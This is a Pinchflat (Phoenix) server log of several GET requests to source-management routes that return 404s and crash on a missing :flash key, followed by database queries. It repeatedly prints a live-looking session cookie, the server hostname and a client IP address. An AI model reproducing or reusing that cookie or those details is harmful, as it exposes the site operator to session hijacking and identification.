/sources/2/force_index 17:53:43.206 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=112.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.206 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=82.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.206 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.207 [error] #PID<0.162985.0> running PinchflatWeb.Endpoint (connection #PID<0.162984.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162984.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48374}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162985.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT4JDpqByvA0AFpDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162984.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48374}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162984.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48374}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162985.0>, params: %{}, path_info: ["sources", "2", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in (truncated) 17:53:43.231 [info] GET /sources/2/sync_files_on_disk 17:53:43.232 [debug] QUERY OK source="settings" db=0.3ms idle=108.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.233 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=95.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.233 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.233 [error] #PID<0.162987.0> running PinchflatWeb.Endpoint (connection #PID<0.162986.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162986.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48388}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162987.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/sync_files_on_disk", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT4Paryp-KgwAFpDh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162986.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48388}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162986.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/sync_files_on_disk", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48388}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162987.0>, params: %{}, path_info: ["sources", "2", "sync_files_on_disk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [ (truncated) 17:53:43.253 [info] GET /sources/2/force_metadata_refresh 17:53:43.253 [debug] QUERY OK source="settings" db=0.2ms idle=115.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.254 [debug] QUERY OK source="settings" db=0.2ms idle=47.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.254 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:43.254 [error] #PID<0.162989.0> running PinchflatWeb.Endpoint (connection #PID<0.162988.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162989.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/2/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT4UbwfYRaBsAFpEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162988.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48404}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162989.0>, params: %{}, path_info: ["sources", "2", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:43.329 [info] GET /sources/2 17:53:43.330 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"delete_files" => "true", "id" => "2"} Pipelines: [:browser] 17:53:43.330 [debug] QUERY OK source="sources" db=0.2ms idle=123.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.330 [debug] QUERY OK source="media_profiles" db=0.1ms idle=97.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:53:43.332 [debug] QUERY OK source="tasks" db=1.0ms idle=97.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 17:53:43.332 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=78.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [17069] 17:53:43.332 [debug] QUERY OK source="settings" db=0.1ms idle=78.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.333 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.333 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:43.334 [debug] QUERY OK source="sources" db=0.2ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:53:43.336 [debug] QUERY OK source="media_items" db=1.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = 